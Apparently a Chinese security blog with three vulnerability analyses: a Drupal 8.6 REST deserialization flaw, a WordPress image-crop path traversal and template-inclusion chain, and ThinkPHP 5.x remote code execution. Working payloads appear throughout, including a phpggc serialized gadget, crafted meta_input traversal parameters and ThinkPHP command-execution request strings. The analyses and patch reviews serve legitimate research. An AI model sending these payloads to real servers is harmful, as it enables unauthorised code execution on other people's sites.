根据补丁位置判断漏洞点在unserialize部分，因此这是一个反序列化漏洞。补丁主要修复了core/modules/link/src/Plugin/Field/FieldType/LinkItem.php和core/lib/Drupal/Core/Field/Plugin/Field/FieldType/MapItem.php两个文件，这两处应该都是能触发的，这里选择LinkItem进行分析

看一下setValue()方法

可以看到简单判断了$values['options']后直接进行了反序列化，没有进行数据合法性校验，如果能够控制$values['options']就能直接触发漏洞

接下来梳理一下数据传递过程，以及如何进入到setValue()方法

通过rest接口注册用户时，发送的数据包类似这个样子

(图片来源：https://areatype.com/blog/register-user-drupal-8-rest-api)

在进入drupal后，由RequestHandler->handle()方法处理请求，进入deserialize()方法，然后调用$this->serializer->denormalize()反序列化出相应的类，此时的$unserialized为Serializer类

随后调用Serializer->denormalize()方法，在该方法中首先通过getDenormalizer()获得一个匹配的denormalizer，才能进行后续的denormalize()操作，匹配的过程则是和当前类的supportedInterfaceOrClass变量比较，返回最终可以进行denormalize()操作的类

if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {
    return $normalizer->denormalize($data, $type, $format, $context);
}

此处跟入比较深，可以略过，总之返回匹配的类是ContentEntityNormalizer，跟进它的denormalize()方法

$typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);
$entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);

这个方法中根据 _links.type 的值取出typed data IDs，_links.type 值即是post json部分的 "type": { "href": "http://127.0.0.1/drupal-8.6.5/rest/type/user/user" } 值，这个值决定了后面获取到的Entity实体，通过getTypeInternalIds()方法取出所有预定义的类型并返回相应的URI，然后才获取对应的实体类型定义

接着会调用这个实体的denormalizeFieldData()方法，在denormalizeFieldData()中调用相应的denormalize()方法，最终调用到这个field_item的setValue()。因此为了触发到存在漏洞的setValue()，我们需要让field_item为LinkItem类或者MapItem类，这个赋值过程在获取到相应实体后的getStorage()->create()过程：

$entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);

调用流程create()->doCreate()->initFieldValues()，此时的调用栈是这样的：

现在的问题就是找到相应的Entity，在其中实体化了LinkItem类或MapItem类，通过查找，在core/modules中这样的类有两个，Shortcut和MenuLinkContent，这里选择MenuLinkContent来触发，此时的_links.type为http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_conten

因此最后的数据包类似这个样子，注意link必须为数组

{
  "link": [
    {
      "options": payload
    }
  ],
  "_links": {
    "type": {
      "href": "http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_content"
    }
  }
}

发送数据包成功触发到setValue()

接下来就是寻找内置的风险类了，进入setValue()后通过unserialize()执行代码。

0x05 PoC

在之前介绍phpggc工具的时候总结了Drupal中存在风险的三个类，分别可以导致远程代码执行、任意文件写入和任意文件删除，这三个类分别是

FnStream
FileCookieJar
WindowsPipes

具体参考：由phpggc理解php反序列化漏洞

同样地，借助phpggc直接生成序列化数据：

root@localhost:/opt/phpggc# ./phpggc guzzle/rce1 assert 'phpinfo()' -j
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:9:\"phpinfo()\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"assert\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

发送payload

注意：如果返回码为422且报下面这个错误，尝试在/admin/config/development/performance点击清除缓存

{"message":"Type http:\/\/127.0.0.1\/drupal-8.6.5-1\/rest\/type\/shortcut\/default does not correspond to an entity on this site."}

另外尝试用PoC脚本利用，每篇文章对应的node id利用一次就失效了，再次利用需要换一个node id，暂时没有研究为什么。

0x06 总结

这个漏洞触发点并不复杂，但是调用链相当深，利用条件则是开启了REST Web services，并且允许用户通过rest api注册，在一些功能比较齐全的站点或者方便插件调用时可能会开启，影响面减小了不少，但并不影响这依然是个非常巧妙的漏洞，也进一步说明了开发时考虑不周全的话，风险点就在那里，被利用只是时间问题。

Wordpress Image 远程代码执行漏洞分析

Thu, 21 Feb 2019 14:45:49 +0000

0x01 概述

2月20日，RIPS披露了Wordpress内核Image模块相关的一个高危漏洞，该漏洞由目录穿越和文件包含组成，最终可导致远程代码执行，目前还没有PoC披露。

从RIPS描述的细节来看，漏洞出现在wordpress编辑图片时，由于没有过滤Post Meta 值导致可以修改数据库中wp_postmeta表的任意字段，而在加载本地服务器上的文件时没有对路径进行过滤，导致可以传递目录穿越参数，最终保存图片时可以保存至任意目录。当某个主题include了某目录下的文件时，便可以造成代码执行。

0x02 环境搭建

该漏洞影响4.9.9版本以下的wordpress程序，4.9.9引入了过滤函数，对用户输入的post data进行了检查，不合法的参数被过滤，主要修改如下图：

值得注意的是，在安装低版本时，安装过程中会自动更新核心文件，因此旧版本的wp-admin/includes/post.php会更新至最新版本，所以安装过程中可以删除自动更新相关模块，或者离线安装。

0x03 漏洞分析

漏洞一：数据覆盖

漏洞出现在wordpress媒体库裁剪图片的过程，当我们上传图片到媒体库时，图片会被保存至wp-content/uploads/yyyy/mm目录，同时会在数据库中wp_postmeta表插入两个值，分别是_wp_attached_file和_wp_attachment_metadata，保存了图片位置和属性相关的序列化信息。

当我们修改图片属性（例如修改标题或者说明）的时候，admin-media-Edit more details 会调用wp-admin/includes/post.php的edit_post()方法，该方法的参数全部来自于$_POST，没有进行过滤

然后会调用到update_post_meta()方法，该方法根据$post_ID修改post meta field，接着调用update_metadata()更新meta数据，完成之后更新post数据，调用wp_update_post()方法

在wp_update_post()方法中，如果post_type=attachment，则进入wp_insert_attachment()，接着调用wp_insert_post()，在wp_insert_post()方法中判断了meta_input参数，如果传入了该参数，就遍历数组用来更新post_meta

进入update_post_meta()，调用update_metadata()，在update_metadata()方法中对数据库进行更新操作，而在整个过程中对键值没有任何过滤，意味着我们可以传入指定的key来设置它的值，调用栈如下图所示

于是构造数据包更新数据库中_wp_attached_file的值，插入一个包含../的值，以便在下面触发目录遍历。

这是第一个漏洞——通过参数覆盖了数据库数据，在补丁处正是对meta_input这个参数做了过滤，如果包含则通过对比array舍弃该参数。

漏洞二：目录遍历

接着寻找一个获取_wp_attached_file的值并进行了文件操作相关的方法。

在wordpress的图片裁剪功能中，有这样的功能：

图片存在于wp-content\uploads\yyyy\mm目录，则从该目录读取图片，修改尺寸后另存为一张图片；
如果图片在该目录不存在，则通过本地服务器下载该图片，如从http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg下载，裁剪后重新保存。

这个功能是为了方便一些插件动态加载图片时使用。

然而因为本地读取和通过url读取的差异性，导致可以构造一个带参数的url，如http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?1.png，在本地读取时会发现找不到admin.jpeg?1.png，而远程获取时会忽略?后面的参数部分，照样获取到admin.jpeg，裁剪后保存。如果构造的url包含路径穿越，例如http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?../../1/1.png，wordpress将裁减后的图片保存至指定的文件夹，当图片包含恶意代码被引用时，就可能造成代码执行。

图片裁剪功能在wp_crop_image()方法中，但是该方法不能在页面中触发，需要手动更改相应的action

首先在页面裁剪图片，并点击保存

抓取数据包：

action=image-editor&_ajax_nonce=4c354c778b&postid=5&history=%5B%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A5%2C%22w%22%3A347%2C%22h%22%3A335%7D%7D%5D&target=all&context=edit-attachment&do=save

post body包含了相应的action和context，以及供还原文件的历史文件大小，此处需要修改action为crop-image以便触发wp_crop_image()方法，相关调用如下

在wp-admin/admin-ajax.php定义了裁剪图片的操作

判断了用户权限和action名称后调用do_action，最终在apply_filters()中进入wp_crop_image():

进入wp_ajax_crop_image()方法，在这个方法中进行了多项判断，全部符合才能进入裁剪图片方法，如下图注释所示

首先计算nonce和expected值并对比，如果不一致就验证不通过，相关方法是check_ajax_referer()–>wp_verify_nonce()。注意到传入check_ajax_referer()的$attachment_id参数，该参数取自$_POST['id']，并参与后面的expected计算，因此当我们直接更改action=crop-image是无法通过校验的，需要传入id的，即为postid的值。

在进入wp_crop_image()时还需要传递裁剪后的图片宽度和高度信息，所以还需要增加cropDetails[dst_width]和cropDetails[dst_height]两个参数。

wp_crop_image()方法如下

从数据库取出_wp_attached_file后并没有做检查，形如2019/02/admin.jpeg?../../1.png的文件无法被找到，于是进入_load_image_to_edit_path()通过wp_get_attachment_url()方法生成本地url

随后实例化一个WP_Image_Editor用来裁剪并生成裁剪后的图片，之后调用wp_mkdir_p()方法创建文件夹，含有../的参数进入该方法后同样没有经过过滤，最终执行到mkdir创建文件夹

mkdir( $target, $dir_perms, true)

此时的target值是这个样子，穿越目录后在2019目录下创建1文件夹，并生成cropped-1.png文件

D:\phpStudy\PHPTutorial\WWW\wordpress-4.9.8/wp-content/uploads/2019/02/admin.jpeg?../../../1

注意：此处有一个坑，我们观察上面的url，在mkdir的时候会把admin.jpeg?../作为一个目录，而在Windows下的目录不能出现?，所以上面的payload在Windows下无法成功，经过测试，#可以存在于Windows目录，因此在Windows下的payload如下所示：

meta_input[_wp_attached_file]=2019/02/admin.jpeg#../../../1/1.png

写入数据库中即为2019/02/admin.jpeg#../../../1/1.png

最终构造第二个数据包触发裁剪图片并保存：

最终在指定目录下生成裁剪后的图片文件，以cropped-作为前缀

这样子我们可以制作一张图片马，在主题文件夹下生成，或者指定任意目录，被include后即可造成代码执行。

0x04 LFI to RCE

到目前为止我们可以把含有恶意代码的图片写入任意目录，下一步就是想办法包含这个文件。

在Wordpress中，访问一篇文章或者任意页面，都需要从数据库取出相应的模板文件位置并由浏览器渲染出来。注意到上面截图，wp_postmeta数据库中有个字段名称为_wp_page_template，这个字段用来保存加载页面所需要的模板文件，默认为default，wordpress程序根据需要加载的页面类型从当前主题下选择需要的模板，例如访问一篇单独的文章，这个过程会拼凑出文件名并检查主题下的这些文件是否存在，如果存在则包含进来，相关方法是locate_template()和load_template()

搜索发现实现从数据库取出_wp_page_template变量的方法是get_page_template_slug()

接着发现调用get_page_template_slug()方法的get_single_template()方法，其最后返回的是查找模板函数，即get_query_template()

而正是在get_query_template()中，执行了定位模板文件的操作

至此一条利用链就串起来了，利用第一个漏洞覆盖数据库中的_wp_page_template值，修改为包含恶意代码的图片所在路径，在页面加载的过程中wordpress查询并定位该文件，包含后造成代码执行。

Wordpress中处理图片相关的库有两个，分别是Imagick和GD，优先选择使用Imagick，而Imagick处理图片时不处理EXIF信息，因此可以把恶意代码设置在EXIF部分，经过裁剪后会保留EXIF信息，此时再进行包含就能造成代码执行。

在选择相应图片库处理图片时，如果此时加载的是Imagick，在$editor->load()时会创建Imagick()对象，然后尝试读取远程图片地址。此时需要注意的是，高版本的Imagick库不支持远程链接，测试Imagick-6.9.7版本正常创建并写入图片

$implementation = _wp_image_editor_choose( $args );

if ( $implementation ) {
    $editor = new $implementation( $path );
    $loaded = $editor->load();

    if ( is_wp_error( $loaded ) )
        return $loaded;

    return $editor;
}

$this->image = new Imagick();
//...
$this->image->readImage( $filename );

复现：

1.上传图片，更新描述信息并保存，抓包修改meta_input[_wp_attached_file]，目录穿越至当前主题文件夹

2.裁剪图片并在主题文件夹下生成裁剪后图片

3.上传一个附件，更新描述信息并抓包，修改meta_input[_wp_page_template]，加载模板的时候自动包含该图片，代码执行成功

0x05 关于mkdir

在漏洞调试过程中最后一步$editor->save( $dst_file )过程，最终执行到的是wp_mkdir_p()方法中的mkdir函数

mkdir( $target, $dir_perms, true)

关于mkdir()函数，需要注意的是mode参数和recursive参数，分别代表了创建的文件夹权限和是否递归创建，这两个参数的不同导致在Linux平台和Windows平台的结果不一致

在上面漏洞链中，进入最终mkdir()的参数是这样的

mkdir( 'D:\phpStudy\PHPTutorial\WWW\wordpress-4.9.8/wp-content/uploads/2019/02/admin.jpeg?../../../1', 511, true)

单独把path拿出来测试，在第三个参数recursive分别为true和false时，测试结果如下

这里导致结果不一致是因为Windows下文件夹对?的处理，当指定递归创建模式时，系统会尝试创建名为admin.jpeg?..的目录，又因为Windows下的目录不能含有?，因此recursive=true时是创建失败的，导致wordpress最终生成图片也无法成功。而在Linux下可以没有?的限制，payload可以成功触发。

要想在Windows下利用漏洞，一个技巧是利用#字符，#在url中表示为网页位置指定标识符，只在浏览器中起作用，对解析资源时是忽略后面的字符的，因此在wordpress中两个方式尝试获取图片资源时同样会出现不一致，导致漏洞产生。

更新：此处是否检查?等不合法字符与php的线程安全模式相关，具体如下。

Windows	thread-safe	non-thread safe
recursive=false	fail (No error)	success
recursive=true	fail (Invalid path)	fail (Invalid path)

关于这块的详细分析可以参考对PHP中的mkdir()函数的研究

0x06 PoC

见上面分析

0x07 总结

在分析过程中踩了不少坑，每一个都浪费了不少时间，简单记录避免再次踩中。主要的有这么几个：

Wordpress自动更新；
需要手动修改触发裁剪函数的action；
mkdir创建文件夹时特殊字符的问题；
Imagick读取远程文件的问题；

这个漏洞主要成因在于我们可以通过参数传递任意值覆盖数据库中的字段，从而引入../构成目录穿越，在裁剪图片后保存文件时并没有对文件目录做检查，造成目录穿越漏洞，最终可以写入恶意图片被包含或者通过Imagick漏洞触发远程代码执行，利用链挺巧妙，值得学习。

参考：

ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析

Sat, 12 Jan 2019 14:18:20 +0000

0x01 概述

1月11日，ThinkPHP官方发布新版本5.0.24，在1月14日和15日又接连发布两个更新，这三次更新都修复了一个安全问题，该问题可能导致远程代码执行，这是ThinkPHP近期的第二个高危漏洞，两个漏洞均是无需登录即可远程触发，危害极大。

公告

https://blog.thinkphp.cn/910675

http://blog.nsfocus.net/thinkphp-5-0-5-0-23-rce/

0x02 影响版本

ThinkPHP 5.0.x ~ 5.0.23

ThinkPHP 5.1.x ~ 5.1.31

ThinkPHP 5.2.0beta1

0x03 环境搭建

选择5.0.22完整版和5.1.31版本进行复现分析

0x04 漏洞分析

一、`5.0.x`版本

我们知道可以通过http://127.0.0.1/public/index.php?s=index的方式通过s参数传递具体的路由，具体调用如下

index.php

require __DIR__ . '/../thinkphp/start.php';

start.php

App::run()->send();

跟进run()方法

可以看到在进入self::exec($dispatch, $config)前，$dispatch的值是通过

$dispatch = self::routeCheck($request, $config)

设置的，这时候如果debug模式开启，就会调用$request->param()，也就是下面exec()中会调用到的函数，经过下面分析就能发现，在debug模式开启时就能直接触发漏洞，原理是一样的。

进入exec()方法看一下：

exec()方法根据$dispatch的值选择进入不同的分支，当进入method分支时，调用Request::instance()->param()方法，跟进param()，看到调用了Request类的method()方法：

其中method()方法就是补丁修改的位置，在这个方法中，如果method等于true，则调用$this->server()方法：

在server()方法中调用$this->input方法：

接着调用了filterValue()方法：

而filterValue()则调用了call_user_func()函数，如果两个参数均可控，则会造成命令执行：

此时的调用栈如下：

回头看一下$filter和$value参数从哪里来：

$filter：

$filter = $this->getFilter($filter, $default);

在getFilter()中设置了$filter值：

$filter = $filter ?: $this->filter;

也即由$this->filter决定

$value

$value为第一个参数$data，即为传入数组的值，由$this->server决定

所以最终的问题就是如何从请求中传入$this->filter和$this->server这两个值，构造call_user_func()的参数触发漏洞。

回到最开始的run()方法，其中：

$dispatch = self::routeCheck($request, $config);

$dispatch 的值通过routeCheck()方法设置，跟进routeCheck()方法：

调用了check()方法：

check()方法中根据不同的$rules值返回不同的结果，而$rules的值由$method决定，$method则由$request->method()返回值取小写获得，所以再次回到$request->method()方法，这次没有参数

如果$method不等于true，则会取配置选项var_method，该值为_method

然后调用$this->{$this->method}($_POST);语句，此时假设我们控制了$method的值，也就意味着可以调用Request类的任意方法，而当调用构造方法__construct()时，就可以覆盖Request类的任意成员变量，也就是上面分析的$this->filter和$this->server两个值，同时也可以覆盖$this->method，直接指定了check()方法中的$method值。

1. 构造`PoC`

首先要主动触发Request类的构造函数，通过参数_method=__construct传入，进入到__construct方法，该方法把参数遍历并设置值：

所以我们可以传入filter=system来设置$this->filter的值

此处filter不是数组也可以，因为在getFilter()中虽然对filter是字符串的情况进行了按,分割，但是传入一个值的情况下不影响最终的返回值

再看$this->server，在调用$this->server('REQUEST_METHOD')时指定了键值，所以通过传入server数组即可

server[REQUEST_METHOD]=id

然后我们注意到上面check()方法，

$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];

它的返回值由$rules决定，而$rules的值取决于键值$method，当我们指定$method为get时，可以正确获取到路由信息，从而通过checkRoute()检查，此时我们通过指定method=get覆盖$this->method的值即可

最终的PoC：

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id

调用栈如下图所示

2. 流程图

整个漏洞的调用流程图如下所示：

二、`5.1.x`/`5.2.x`版本

在5.1和5.2版本上，这个变量覆盖依然存在，我们同样可以通过_method参数覆盖var_method，并最终执行到Request::input()方法，通过array_walk_recursive把传入的数组传给回调函数filterValue，最终也是在filterValue中完成命令执行，具体调用如下

当传入_method参数为filter时，覆盖了Request原始的filter成员，在经过路由检查进入Request::instance()->param()方法时，经过$this->method(true)调用，返回的$method值为POST，于是进入post分支，调用input()方法，由于第一个参数为空，返回我们传入的post值

然后把数组合并到$this->param，接着再次调用input()方法，经过$this->getFilter返回filter值，由于此时$data是一个数组(即$this->param)，于是进入if分支，经过array_walk_recursive()函数把数组传给回调函数filterValue，遍历键值后同样由call_user_func完成命令执行

if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    if (version_compare(PHP_VERSION, '7.1.0', '<')) {
        // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
        $this->arrayReset($data);
    }
} else {
    $this->filterValue($data, $name, $filter);
}

1. 构造`PoC`

a=system&b=id&_method=filter

需要在程序加入忽略异常提示：

error_reporting(0);

调用栈如图

2. 流程图

5.1.x版本的漏洞调用流程图如下所示：

0x05 补丁分析

在三个版本的更新补丁中，限制了$this->method为GET，POST，DELETE，PUT，PATCH这几个方法，因此不能从外部传入方法名再调用Request类的任意方法或是覆盖原有变量。

补丁链接：

5.0.24：

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

5.1.31：

https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6

5.2-beta.2：

https://github.com/top-think/framework/commit/7c24500e463704583e0778b7ec6efce607ddef5f

0x06 总结

这三漏洞本质上都是变量覆盖漏洞，在一处存在缺陷的方法中没有对用户输入做严格判断，通过传递_method参数覆盖了配置文件的_method，导致可以访问Request类的任意函数，而在Request的构造函数中又创建了恶意的成员变量，导致后面的命令执行；而在5.1和5.2版本中则是直接覆盖了过滤器，在忽略运行异常的情况下会触发漏洞，整个利用链可以说是非常巧妙了。